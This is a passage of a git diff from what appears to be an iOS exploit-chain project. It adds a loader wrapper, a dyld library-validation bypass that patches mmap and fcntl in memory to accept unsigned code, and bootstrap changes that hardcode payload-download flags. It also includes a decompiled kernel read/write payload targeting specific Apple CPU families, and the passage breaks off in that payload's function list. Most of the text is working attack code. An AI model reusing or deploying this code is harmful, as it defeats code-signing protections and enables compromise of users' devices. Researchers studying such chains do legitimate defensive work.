%1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} +#endif + +// Entry point when loaded by Coruna +int driver(uint64_t *ptr) { +#if __arm64e__ + _dlsym = pacia(dlsym, 0); + __pthread_set_self = pacia(_pthread_set_self, 0); + _pthread_main_thread_np = pacia(pthread_main_thread_np, 0); +#else + _dlsym = dlsym; + __pthread_set_self = _pthread_set_self; + _pthread_main_thread_np = pthread_main_thread_np; +#endif + __pthread_set_self(_pthread_main_thread_np()); + + _abort = _dlsym(RTLD_DEFAULT, "abort"); + _close = _dlsym(RTLD_DEFAULT, "close"); + _dlopen = _dlsym(RTLD_DEFAULT, "dlopen"); + _dlerror = _dlsym(RTLD_DEFAULT, "dlerror"); + _getsectiondata = _dlsym(RTLD_DEFAULT, "getsectiondata"); + _mach_thread_self = _dlsym(RTLD_DEFAULT, "mach_thread_self"); + _open = _dlsym(RTLD_DEFAULT, "open"); + _strncmp = _dlsym(RTLD_DEFAULT, "strncmp"); + _thread_terminate = _dlsym(RTLD_DEFAULT, "thread_terminate"); + _write = _dlsym(RTLD_DEFAULT, "write"); + + // setup dyld validation bypass + const char *path = save_actual_dylib(); + dyld_lv_bypass_init(_dlsym, path); + + void *handle = _dlopen("/tmp/actual.dylib", RTLD_NOW); + + return 0; +} diff --git a/src/DriverWrapper/Makefile b/src/DriverWrapper/Makefile new file mode 100644 index 0000000..692b67b --- /dev/null +++ b/src/DriverWrapper/Makefile @@ -0,0 +1,19 @@ +TARGET := iphone:clang:latest:15.0 +ARCHS = arm64 arm64e +FINALPACKAGE = 1 +STRIP = 0 +GO_EASY_ON_ME = 1 + +include $(THEOS)/makefiles/common.mk + +LIBRARY_NAME = DriverWrapper +DriverWrapper_FILES = DriverWrapper.m lv_bypass.c +DriverWrapper_CFLAGS = -fno-objc-arc +DriverWrapper_LDFLAGS = -sectcreate __TEXT __SBTweak ../../payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib +# $(THEOS_OBJ_DIR)/SpringBoardTweak.dylib +DriverWrapper_INSTALL_PATH = /usr/local/lib + +install:: $(THEOS_OBJ_DIR)/DriverWrapper.dylib + echo INSTALLING + +include $(THEOS_MAKE_PATH)/library.mk diff --git a/src/DriverWrapper/control b/src/DriverWrapper/control new file mode 100644 index 0000000..a008b81 --- /dev/null +++ b/src/DriverWrapper/control @@ -0,0 +1,9 @@ +Package: com.yourcompany.TweakLoader +Name: TweakLoader +Version: 0.0.1 +Architecture: iphoneos-arm +Description: An awesome library of some sort!! +Maintainer: khanhduytran0 +Author: khanhduytran0 +Section: System +Tag: role::developer diff --git a/src/DriverWrapper/lv_bypass.c b/src/DriverWrapper/lv_bypass.c new file mode 100644 index 0000000..8f0cb33 --- /dev/null +++ b/src/DriverWrapper/lv_bypass.c @@ -0,0 +1,244 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define ASM(...) __asm__(#__VA_ARGS__) +// ldr x8, value; br x8; value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" +static const char patch[] = {0x88,0x00,0x00,0x58,0x00,0x01,0x1f,0xd6,0x1f,0x20,0x03,0xd5,0x1f,0x20,0x03,0xd5,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41}; + +// Signatures to search for +static const char mmapSig[] = {0xB0, 0x18, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4}; +static const char fcntlSig[] = {0x90, 0x0B, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4}; +static const char syscallSig[] = {0x01, 0x10, 0x00, 0xD4}; +static int (*orig_fcntl)(int fildes, int cmd, void *param) = 0; + +static void (*next_exit)(int); +static int (*_printf)(const char *s, ...); +static int (*_mprotect)(void*, size_t, int); +static int (*_munmap)(void*, size_t); +static void* (*__mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset); +static int (*__fcntl)(int fildes, int cmd, void* param); + +static kern_return_t (*_task_info)(task_name_t target_task, task_flavor_t flavor, + task_info_t task_info_out, + mach_msg_type_number_t *task_info_outCnt); +static mach_port_t _mach_task_self_; + +kern_return_t builtin_vm_protect(mach_port_name_t task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_max, vm_prot_t new_prot); +static void init_bypassDyldLibValidation(void); + +int dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol), + const char *next_stage_dylib_path) +{ + _printf = _dlsym(RTLD_DEFAULT, "printf"); + if (!_printf) + return -0x41414141; + + __fcntl = _dlsym(RTLD_DEFAULT, "__fcntl"); + if (!__fcntl) + return -0x41414142; + + __mmap = _dlsym(RTLD_DEFAULT, "__mmap"); + if (!__mmap) + return -0x41414143; + + _task_info = _dlsym(RTLD_DEFAULT, "task_info"); + if (!_task_info) + return -0x41414144; + + mach_port_t *portp = _dlsym(RTLD_DEFAULT, "mach_task_self_"); + if (!portp) + return -0x41414145; + + _mach_task_self_ = *portp; + + _munmap = _dlsym(RTLD_DEFAULT, "munmap"); + + _mprotect = _dlsym(RTLD_DEFAULT, "mprotect"); + + next_exit = _dlsym(RTLD_DEFAULT, "exit"); + if (!next_exit) + return -0x41414150; + + init_bypassDyldLibValidation(); + + return 0; +} + +static int builtin_memcmp(const void *s1, const void *s2, size_t n) +{ + const unsigned char *p1 = (const unsigned char *)s1; + const unsigned char *p2 = (const unsigned char *)s2; + + while (n--) { + if (*p1 != *p2) { + return *p1 - *p2; + } + + ++p1; + ++p2; + } + + return 0; +} + +static struct dyld_all_image_infos *_alt_dyld_get_all_image_infos(void) { + static struct dyld_all_image_infos *result; + if (result) { + return result; + } + struct task_dyld_info dyld_info; + mach_vm_address_t image_infos; + mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; + kern_return_t ret; + ret = _task_info(_mach_task_self_, + TASK_DYLD_INFO, + (task_info_t)&dyld_info, + &count); + if (ret != KERN_SUCCESS) { + return NULL; + } + image_infos = dyld_info.all_image_info_addr; + result = (struct dyld_all_image_infos *)image_infos; + return result; +} + +// Since we're patching libsystem_kernel, we must avoid calling to its functions +static void builtin_memcpy(char *target, const char *source, size_t size) { + for (int i = 0; i < size; i++) { + target[i] = source[i]; + } +} + +// Originated from _kernelrpc_mach_vm_protect_trap +ASM( +.global _builtin_vm_protect \n +_builtin_vm_protect: \n + mov x16, #-0xe \n + svc #0x80 \n + ret +); + +static bool redirectFunction(char *name, void *patchAddr, void *target) { + kern_return_t kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); + if (kret != KERN_SUCCESS) { + _printf("[DyldLVBypass] vm_protect(RW) fails at line %d\n", __LINE__); + return FALSE; + } + + builtin_memcpy((char *)patchAddr, patch, sizeof(patch)); +#if __arm64e__ + *(void **)((char*)patchAddr + 16) = __builtin_ptrauth_strip(target, 0); +#else + *(void **)((char*)patchAddr + 16) = target; +#endif + + kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); + if (kret != KERN_SUCCESS) { + _printf("[DyldLVBypass] vm_protect(RX) fails at line %d", __LINE__); + return FALSE; + } + + _printf("[DyldLVBypass] hook %s(%p) succeed!\n", name, patchAddr); + return TRUE; +} + +static bool searchAndPatch(char *name, char *base, const char *signature, int length, void *target) { + char *patchAddr = NULL; + for(int i=0; i < 0x80000; i+=4) { + if (base[i] == signature[0] && builtin_memcmp(base+i, signature, length) == 0) { + patchAddr = base + i; + break; + } + } + + if (patchAddr == NULL) { + _printf("[DyldLVBypass] hook %s fails line %d\n", name, __LINE__); + return FALSE; + } + + _printf("[DyldLVBypass] found %s at %p\n", name, patchAddr); + return redirectFunction(name, patchAddr, target); +} + +static void* hooked_mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { + void *map = __mmap(addr, len, prot, flags, fd, offset); + if (map == MAP_FAILED && fd && (prot & PROT_EXEC)) { + map = __mmap(addr, len, PROT_READ | PROT_WRITE, flags | MAP_PRIVATE | MAP_ANON, 0, 0); + void *memoryLoadedFile = __mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, offset); + builtin_memcpy(map, memoryLoadedFile, len); + _munmap(memoryLoadedFile, len); + _mprotect(map, len, prot); + } + return map; +} + +static int hooked___fcntl(int fildes, int cmd, void *param) { + if (cmd == F_ADDFILESIGS_RETURN) { +#if !(TARGET_OS_MACCATALYST || TARGET_OS_SIMULATOR) + // attempt to attach code signature on iOS only as the binaries may have been signed + // on macOS, attaching on unsigned binaries without CS_DEBUGGED will crash + orig_fcntl(fildes, cmd, param); +#endif + fsignatures_t *fsig = (fsignatures_t*)param; + // called to check that cert covers file.. so we'll make it cover everything ;) + fsig->fs_file_start = 0xFFFFFFFF; + return 0; + } + + // Signature sanity check by dyld + else if (cmd == F_CHECK_LV) { + orig_fcntl(fildes, cmd, param); + // Just say everything is fine + return 0; + } + + // If for another command or file, we pass through + return orig_fcntl(fildes, cmd, param); +} + +static void init_bypassDyldLibValidation(void) { + _printf("[DyldLVBypass] init\n"); + + // Modifying exec page during execution may cause SIGBUS, so ignore it now + // Only comment this out if only one thread (main) is running + //signal(SIGBUS, SIG_IGN); + + orig_fcntl = __fcntl; + char *dyldBase = (char *)_alt_dyld_get_all_image_infos()->dyldImageLoadAddress; + //redirectFunction("mmap", mmap, hooked_mmap); + //redirectFunction("fcntl", fcntl, hooked_fcntl); + searchAndPatch("dyld_mmap", dyldBase, mmapSig, sizeof(mmapSig), hooked_mmap); + bool fcntlPatchSuccess = searchAndPatch("dyld_fcntl", dyldBase, fcntlSig, sizeof(fcntlSig), hooked___fcntl); + + // dopamine already hooked it, try to find its hook instead + if(!fcntlPatchSuccess) { + char* fcntlAddr = 0; + // search all syscalls and see if the the instruction before it is a branch instruction + for(int i=0; i < 0x80000; i+=4) { + if (dyldBase[i] == syscallSig[0] && builtin_memcmp(dyldBase+i, syscallSig, 4) == 0) { + char* syscallAddr = dyldBase + i; + uint32_t* prev = (uint32_t*)(syscallAddr - 4); + if(*prev >> 26 == 0x5) { + fcntlAddr = (char*)prev; + break; + } + } + } + + if(fcntlAddr) { + uint32_t* inst = (uint32_t*)fcntlAddr; + int32_t offset = ((int32_t)((*inst)<<6))>>4; + _printf("[DyldLVBypass] Dopamine hook offset = %x\n", offset); + orig_fcntl = (void*)((char*)fcntlAddr + offset); + redirectFunction("dyld_fcntl (Dopamine)", fcntlAddr, hooked___fcntl); + } else { + _printf("[DyldLVBypass] Dopamine hook not found\n"); + } + } +} diff --git a/src/bootstrap/Makefile b/src/bootstrap/Makefile index 8bfdfa3..4f2702c 100644 --- a/src/bootstrap/Makefile +++ b/src/bootstrap/Makefile @@ -1,7 +1,7 @@ TARGET := iphone:clang:latest:14.0 -ARCHS = arm64 arm64e +ARCHS = arm64 FINALPACKAGE = 1 -STRIP = 0 +STRIP = 1 GO_EASY_ON_ME = 1 include $(THEOS)/makefiles/common.mk @@ -10,6 +10,7 @@ LIBRARY_NAME = bootstrap bootstrap_FILES = $(wildcard *.m) bootstrap_CFLAGS = -fobjc-arc -mcpu=apple-a12 +bootstrap_LDFLAGS = -Os bootstrap_INSTALL_PATH = /usr/local/lib include $(THEOS_MAKE_PATH)/library.mk diff --git a/src/bootstrap/bootstrap.h b/src/bootstrap/bootstrap.h index a0d821a..13a43a0 100644 --- a/src/bootstrap/bootstrap.h +++ b/src/bootstrap/bootstrap.h @@ -13,19 +13,6 @@ #import #import #import -#import -#ifdef __arm64e__ -#import -#endif -#import - -/* - * Sign a raw (unsigned) function pointer for arm64e PAC. - * The exploit chain's ctx contains raw function pointers; arm64e - * indirect calls authenticate via blraaz (key A, discriminator 0). - * Call sign_ctx_fptrs() once in process() to sign all ctx fields - * before any function pointer calls. - */ /* ── Error codes ─────────────────────────────────────────────────── */ #define ERR_BASE 0x000A0000 @@ -401,7 +388,10 @@ uint32_t http_request(const char *url, const char *user_agent, void **out_data, uint32_t *out_size); /* ── Logging (logging.c) ─────────────────────────────────────────── */ -void print_log(const char *fmt, ...); +//void init_log_fd(void); +//void print_log(const char *fmt, ...); +#define init_log_fd() ((void)0) +#define print_log(fmt, ...) ((void)0) uint32_t send_log(bootstrap_ctx_t *ctx, const char *url, void **out_data, uint32_t *out_size); uint32_t format_and_send(const char *url, const char *ua, diff --git a/src/bootstrap/container.m b/src/bootstrap/container.m index 3af0b6c..61bf026 100644 --- a/src/bootstrap/container.m +++ b/src/bootstrap/container.m @@ -318,10 +318,12 @@ uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out) print_log("[bootstrap] load_module: dlsym _driver FAIL err=0x%x", err); goto fail; } + print_log("[bootstrap] load_module: dlsym OK result=%p", dlsym_result); handle->vtable = NULL; - typedef uint32_t (*driver_fn_t)(void *, module_vtable_t **); - err = SIGN_FPTR(driver_fn_t, dlsym_result)(decrypted, &handle->vtable); + typedef uint32_t (*driver_fn_t)(module_vtable_t **); + err = SIGN_FPTR(driver_fn_t, dlsym_result)(&handle->vtable); + print_log("[bootstrap] load_module: _driver returned err=0x%x vtable=%p", err, handle->vtable); if (err) goto fail; @@ -331,6 +333,7 @@ uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out) sign_vtable_fptrs(vt); + print_log("[bootstrap] load_module: vtable version=%d num_funcs=%d", vt->version, vt->num_funcs); if (vt->version != 2) goto fail; if (vt->num_funcs < 2) diff --git a/src/bootstrap/download.m b/src/bootstrap/download.m index 68e61dc..1135b87 100644 --- a/src/bootstrap/download.m +++ b/src/bootstrap/download.m @@ -568,47 +568,12 @@ uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type, int a15 = is_a15_or_newer(ctx); if (!(a15 & 1)) { - uint32_t os_ver = ctx->os_version; - uint32_t cpu = ctx->cpu_type; - uint32_t extra_flags = 0; - int did_specific = 0; - - uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10; - if (shifted <= 0x3E) { - if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B || - cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) { - did_specific = 1; - uint8_t features = ctx->flag_a15_features; - extra_flags = features ? 0x40000 : 0x30000; - uint32_t soc_sub = ctx->soc_subversion; - uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000) - : (uint32_t)(-0x5E000000); - uint32_t flags = dev | extra_flags; - - err = download_manifest(ctx, flags, raw_data, raw_size, - url_buf, 0x200, &key_ptr); - } - } - - if (!did_specific) { - if ((os_ver - 0x100000) > 0x500) { - /* Device/OS combo not supported by this payload set — - * original binary jumps to the a15 bail-out path here - * (flags=0 → download_manifest returns early error). */ - extra_flags = 0; - err = ERR_NULL_CTX + 0x13; - } else { - uint8_t features = ctx->flag_a15_features; - extra_flags = features ? 0x60000 : 0x50000; - - uint32_t soc_sub = ctx->soc_subversion; - uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000) - : (uint32_t)(-0x5E000000); - uint32_t flags = dev | extra_flags; - - err = download_manifest(ctx, flags, raw_data, raw_size, - url_buf, 0x200, &key_ptr); - } + /* OVERRIDE: hardcode entry 9 (377bed) flags for testing */ + { + uint32_t flags = 0xf3900000; + print_log("[bootstrap] download_and_process: OVERRIDE flags=0x%x", flags); + err = download_manifest(ctx, flags, raw_data, raw_size, + url_buf, 0x200, &key_ptr); } /* Both specific and generic paths: download the actual diff --git a/src/bootstrap/logging.m b/src/bootstrap/logging.m index d7cffd7..14537a5 100644 --- a/src/bootstrap/logging.m +++ b/src/bootstrap/logging.m @@ -13,14 +13,34 @@ extern int thread_switch(mach_port_name_t, int, mach_msg_timeout_t); -void print_log(const char *fmt, ...) -{ - va_list ap; - va_start(ap, fmt); - vdprintf(1, fmt, ap); - dprintf(1, "\n"); - va_end(ap); -} +static int _log_fd = -1; + +//void init_log_fd(void) +//{ +// if (_log_fd >= 0) +// return; +// char path[1024]; +// const char *tmp = getenv("TMPDIR"); +// if (!tmp) tmp = "/tmp"; +// snprintf(path, sizeof(path), "%s/bootstrap.log", tmp); +// _log_fd = open(path, O_WRONLY | O_CREAT | O_APPEND, 0644); +//} +// +//void print_log(const char *fmt, ...) +//{ +// int fd = (_log_fd >= 0) ? _log_fd : 1; +// char buf[1024]; +// va_list ap; +// va_start(ap, fmt); +// int len = vsnprintf(buf, sizeof(buf), fmt, ap); +// va_end(ap); +// if (len > 0) { +// if (len >= (int)sizeof(buf)) +// len = (int)sizeof(buf) - 1; +// buf[len] = '\n'; +// write(fd, buf, len + 1); +// } +//} /* ── format_string (0x9a34) ────────────────────────────────────── */ diff --git a/src/bootstrap/main.m b/src/bootstrap/main.m index c02be41..26625a3 100644 --- a/src/bootstrap/main.m +++ b/src/bootstrap/main.m @@ -154,20 +154,19 @@ load_module: /* Load module via find_or_load */ err = ((fn_find_or_load_t)ctx->fn_find_or_load)( ctx, CONTAINER_TYPE_MODULE); - if (err) { - print_log("[bootstrap] process_payload: find_or_load FAIL err=0x%x, trying get_pointer", err); - void *module = NULL; - err = ((fn_get_pointer_t)ctx->fn_get_pointer)( - ctx, CONTAINER_TYPE_MODULE, &module); - if (err) { - print_log("[bootstrap] process_payload: get_pointer FAIL err=0x%x", err); - if (ctx->logging_enabled && ctx->log_func) - ctx->log_func(ctx, err, NULL, w23 + 0xD5); - return err; - } - } - print_log("[bootstrap] process_payload: load_module path OK"); + /* Log result */ + if (err && ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0xB6); + + /* Unload container wrapper (module code/vtable stays mapped) */ + ctx->fn_unload(ctx, CONTAINER_TYPE_MODULE); + + /* Store find_or_load result for caller */ + if (result) + *result = err; + + print_log("[bootstrap] process_payload: load_module path OK result=0x%x", err); return 0; direct_mode: @@ -462,6 +461,9 @@ report_and_done: __attribute__((visibility("default"))) uint32_t process(bootstrap_ctx_t *ctx) { + // initialize log file fd once, before anything else + init_log_fd(); + // redirect logging to file struct stat std_out; struct stat dev_null; @@ -693,7 +695,7 @@ setup_mem: pthread_t thread; if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) { - thread_err = 1; /* success sentinel */ + thread_err = 0; /* success — original binary: csinc w21, wzr, w21, eq → 0 on success */ print_log("[bootstrap] process: worker thread created OK"); } else { thread_err++; diff --git a/src/payload_377bed/Makefile b/src/payload_377bed/Makefile new file mode 100644 index 0000000..fe6515c --- /dev/null +++ b/src/payload_377bed/Makefile @@ -0,0 +1,24 @@ +TARGET := iphone:clang:latest:14.0 +ARCHS = arm64 arm64e +FINALPACKAGE = 1 +STRIP = 0 +GO_EASY_ON_ME = 1 + +include $(THEOS)/makefiles/common.mk + +LIBRARY_NAME = entry1_type0x09 + +entry1_type0x09_FILES = entry1_type0x09.m +entry1_type0x09_CFLAGS = \ + -Wno-int-conversion \ + -Wno-incompatible-pointer-types \ + -Wno-implicit-function-declaration \ + -Wno-deprecated-non-prototype \ + -Wno-incompatible-library-redeclaration \ + -Wno-implicit-int \ + -fno-builtin \ + -I. +entry1_type0x09_FRAMEWORKS = CoreFoundation IOKit Security +entry1_type0x09_INSTALL_PATH = /usr/local/lib + +include $(THEOS_MAKE_PATH)/library.mk diff --git a/src/payload_377bed/README.md b/src/payload_377bed/README.md new file mode 100644 index 0000000..e69de29 diff --git a/src/payload_377bed/defs.h b/src/payload_377bed/defs.h new file mode 100644 index 0000000..1454fe5 --- /dev/null +++ b/src/payload_377bed/defs.h @@ -0,0 +1,145 @@ +/* + This file has been generated by IDA. + It contains local type definitions from + the type library 'entry1_type0x09.dylib' +*/ +@import Darwin; +#include "ida_types.h" + +#define __int8 char +#define __int16 short +#define __int32 int +#define __int64 long long + + +/* 160 */ +enum CPUFamily : uint32_t +{ + CPUFamily_A8 = 0x2C91A47E, + CPUFamily_A9 = 0x92FB37C8, + CPUFamily_A10 = 0x67CEEE93, + CPUFamily_A11 = 0xE81E7EF6, + CPUFamily_A12 = 0x7D34B9F, + CPUFamily_A13 = 0x462504D2, + CPUFamily_A14 = 0x1B588BB3, + CPUFamily_A15 = 0xDA33D83D, + CPUFamily_A16 = 0x8765EDEA, + CPUFamily_A17 = 0x2876F5B5, +}; + +/* 164 */ +struct struct_krwCtx +{ + uint32_t flags; + uint8_t gap4[168]; + uint32_t threadForKernelRead; + uint8_t gap42[144]; + int xnuMajorVersion; + uint8_t gap144[20]; + uint64_t someLargeNumber; + uint8_t gap160[8]; + int int168; + int gap16C[5]; + int pageSizeOrSomething; + int gap16C2; + uint64_t qword188; + uint8_t gap190[136]; + uint64_t gap190u; + uint8_t gap190_[56]; + int isRW; + struct mach_timebase_info timebase; + mach_port_t semaphore; + pthread_mutex_t someMutex; + uint32_t someInt1; + uint32_t someInt2; + uint64_t gap19100[16]; + pthread_mutex_t someMutex2; + uint64_t gap191[695]; + uint32_t gap1909; + uint32_t gap1910; + uint32_t gap1911[2]; + uint32_t gap1913; + uint32_t gap1914; + uint32_t gap1915; + uint32_t gap1916; + uint64_t gap192[16]; + uint64_t machHeaderPlus0x8000; + uint64_t gap19210; + uint64_t gap19211; + uint64_t slideMaybe; + uint64_t gap1921[108]; + uint64_t qword1D48; +}; +typedef struct struct_krwCtx struct_krwCtx; + +/* 165 */ +struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48 +{ + _BYTE gap0[80]; + _QWORD qword50; + _QWORD qword58; + _QWORD qword60; + _QWORD qword68; + _DWORD dword70; +}; +typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48 struct_qword1D48; + +/* 166 */ +struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion +{ + _OWORD majorVersion; + _OWORD oword10; + _QWORD qword20; +}; +typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion struct_xnuMajorVersion; + +/* 168 */ +struct __attribute__((packed)) __attribute__((aligned(2))) struct_v83 +{ + _BYTE gap0[48]; + _DWORD dword30; + _BYTE gap34[4]; + _DWORD dword38; + _BYTE gap3C[52]; + _OWORD xnuMajorVersion; + _OWORD oword80; + _QWORD qword90; + _DWORD dword98; + _BYTE gap9C[12]; + _QWORD qwordA8; + _BYTE gapB0[81]; + _BYTE byte101; +}; +typedef struct __attribute__((packed)) __attribute__((aligned(2))) struct_v83 struct_v83; + +/* 169 */ +struct __attribute__((packed)) __attribute__((aligned(8))) struct_a1 +{ + _OWORD oword0; + _OWORD oword10; + _OWORD oword20; + _OWORD oword30; + _OWORD oword40; + _OWORD oword50; + _OWORD oword60; + _OWORD xnuMajorVersion; + _OWORD oword80; + _OWORD oword90; + _OWORD owordA0; + _OWORD owordB0; + _OWORD owordC0; + _OWORD owordD0; + _OWORD owordE0; + _OWORD owordF0; + _OWORD oword100; + _OWORD oword110; + _QWORD qword120; +}; +typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_a1 struct_a1; + +/* 173 */ +enum krw_ctx_flags +{ + KRW_CTX_FLAG_CS_TXM = 0x20, + KRW_CTX_FLAG_CS_PPL_MAYBE = 0x8, +}; diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m new file mode 100644 index 0000000..404d469 --- /dev/null +++ b/src/payload_377bed/entry1_type0x09.m @@ -0,0 +1,49229 @@ +/* This file was generated by the Hex-Rays decompiler version 9.2.0.250908. + Copyright (c) 2007-2021 Hex-Rays + + Detected compiler: GNU C++ +*/ + +#include + + +//------------------------------------------------------------------------- +// Function declarations + +__int64 __fastcall driver(_QWORD *a1); +__int64 __fastcall driver_free(_OWORD *a1); +__int64 __fastcall driver_init(__int64 vtable, char something, struct_krwCtx **krwCtxOut); +__int64 __fastcall driver_dispatch_command(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8); +__int64 __fastcall sub_6070(__int64 a1, __int64 a2); +__int64 __fastcall driver_close(__int64 a1, char *a2); +__int64 __fastcall sub_60A8(__int64, __int64, _DWORD *); +__int64 __fastcall sub_60EC(__int64 a1, __int64 *a2, __int64 a3, unsigned int a4, int a5); +__int64 __fastcall sub_6224(__int64 a1, __int64 a2); +vm_address_t __fastcall sub_6384(vm_address_t src_address, vm_size_t size, boolean_t copy); +__int64 __fastcall sub_63E8(vm_address_t src_address, vm_size_t size, boolean_t copy); // idb +unsigned __int64 __fastcall sub_6448(vm_address_t a1); +__int64 __fastcall sub_64B8(__int64, __int64); +__int64 __fastcall sub_64D0(__int64, __int64); +__int64 setup_thread_policy(); +void __fastcall sub_6564(__int64 a1, __int64 a2); +void __fastcall sub_66A4(_QWORD *a1); +__int64 __fastcall sub_68A0(_QWORD *a1); +void __fastcall sub_68F4(__int64 a1); +__int64 __fastcall sub_69B8(__int64 a1); +__int64 __fastcall sub_6A54(__int64 a1, mem_entry_name_port_t *a2); +__int64 __fastcall sub_6BBC(_QWORD *a1, __int64 a2); +__int64 __fastcall sub_6DC0(_QWORD *a1, unsigned __int64 a2, _DWORD *a3); +void *__fastcall sub_6E30(_QWORD *a1, unsigned __int64 a2, void *a3, size_t a4); +__int64 __fastcall sub_6EB8(_QWORD *a1, const void *a2, unsigned __int64 a3, size_t a4); +unsigned __int64 sub_6F68(); +_QWORD *__fastcall sub_70A4(_QWORD *result, __int16 a2, char *a3, unsigned __int64 a4); +_QWORD *__fastcall sub_7128(_QWORD *result, char *a2, __int16 a3, unsigned __int64 a4); +__int64 __fastcall find_mem_region(__int64 result); +__int64 __fastcall sub_725C(__int64 a1); +__int64 __fastcall sub_7334(__int64 a1); +__int64 __fastcall allocate_two_buffers_for_something(_QWORD *a1); +__int64 __fastcall sub_7454(_QWORD *a1); +__int64 __fastcall sub_7630(_QWORD *a1); +void *__fastcall sub_76B0(_QWORD *a1); +void *__fastcall sub_7794(_QWORD *a1, int a2); +_QWORD *__fastcall sub_7DA4(_QWORD *a1, __int64 a2); +_QWORD *__fastcall sub_7E08(_QWORD *a1, _QWORD *a2); +_QWORD *__fastcall sub_7E84(_QWORD *a1); +__int64 __fastcall sub_7EDC(__int64 a1); +__int64 __fastcall sub_7F28(__int64 a1); +__int64 __fastcall sub_7FF8(__int64 a1, unsigned __int64 a2); +__int64 __fastcall sub_814C(__int64 a1, int a2); +unsigned __int64 __fastcall sub_8228(__int64 a1); +int *__fastcall sub_8384(__int64 a1, __int64 a2); +__int64 __fastcall sub_83C8(_QWORD *a1); +int *__fastcall sub_84F8(__int64 a1); +void __fastcall sub_85E4(__int64 a1); +void __fastcall sub_8710(_QWORD *a1); +__int64 __fastcall sub_8758(vm_address_t *a1); +void __fastcall sub_8DDC(_QWORD *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4); +void __fastcall sub_8F18(_QWORD *a1, __int64 a2, int a3, _QWORD *a4); +void *__fastcall sub_9018(_QWORD *a1); +__int64 __fastcall sub_9150(__int64 a1); +__int64 __fastcall sub_91E0(__int64 result, __int64 a2); +void __fastcall sub_925C(__int64 a1); +__int64 __fastcall sub_93B0(__int64 a1, __int64 a2); +__int64 __fastcall sub_9410(__int64 a1, vm_address_t *a2); +__int64 __fastcall sub_94B0(__int64 a1, vm_address_t *a2); +__int64 __fastcall sub_9588(__int64 a1, _QWORD *a2); +__int64 __fastcall sub_96D8(__int64 a1, _QWORD *a2); +__int64 __fastcall sub_98A4(__int64 a1, _QWORD *a2); +void __fastcall sub_9AC0(__int64 a1); +__int64 __fastcall sub_9F4C(__int64 a1); +void __fastcall sub_9FF0(vm_address_t *a1); +__int64 __fastcall sub_A0A0(struct_krwCtx *a1); +__int64 __fastcall sub_A354(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5); +__int64 __fastcall sub_A3F0(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5); +__int64 __fastcall sub_A48C(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5); +__int64 __fastcall sub_A550(__int64 a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5); +__int64 __fastcall sub_A614(__int64 a1); +__int64 __fastcall sub_A82C(struct_krwCtx *a1, unsigned __int64 a2); +__int64 __fastcall sub_A8A0(struct_krwCtx *a1, mach_port_t a2); +unsigned __int64 __fastcall sub_A914(__int64 krwCtx, unsigned __int64 a2); +__int64 __fastcall sub_A99C(__int64 a1); +__int64 __fastcall sub_A9CC(__int64 a1); +__int64 __fastcall sub_AA3C(__int64 a1, _DWORD *a2, _DWORD *a3, mach_port_t *a4, _QWORD *a5); +__int64 __fastcall sub_AC50(__int64 a1); +__int64 __fastcall sub_AE58(__int64 a1, _QWORD *a2, mem_entry_name_port_t a3, mem_entry_name_port_t a4, mem_entry_name_port_t a5, _QWORD *a6); +__int64 __fastcall sub_B460(__int64 a1, _DWORD *a2); +__int64 __fastcall sub_B73C(__int64); +void sub_B758(); +__int64 __fastcall sub_B768(__int64 krwCtx, unsigned __int64 a2, int a3); +unsigned __int64 __fastcall sub_BB3C(__int64 *krwCtx, __int64 a2); +__int64 __fastcall sub_BBF4(__int64 a1); +__int64 __fastcall sub_BCB4(vm_address_t a1); +__int64 __fastcall sub_BD20(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4); +__int64 __fastcall sub_BE20(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5); +__int64 __fastcall sub_BED0(__int64 a1, __int64 a2, unsigned int a3, __int64 a4); +__int64 __fastcall sub_CB98(uint64_t x0, uint32_t w1, uint64_t x2); +__int64 __fastcall sub_CE78(uint64_t x0, uint64_t x1_idk, uint32_t w2, uint64_t x3); +__int64 __fastcall sub_CE84(uint64_t *a1); +__int64 __fastcall sub_CEB8(uint64_t x0, uint64_t x1); +__int64 __fastcall sub_F860(__int64 a1, __int64 a2, __int64 a3, unsigned int a4); +__int64 __fastcall sub_FAE4(_QWORD *a1, int8x8_t *a2); +__int64 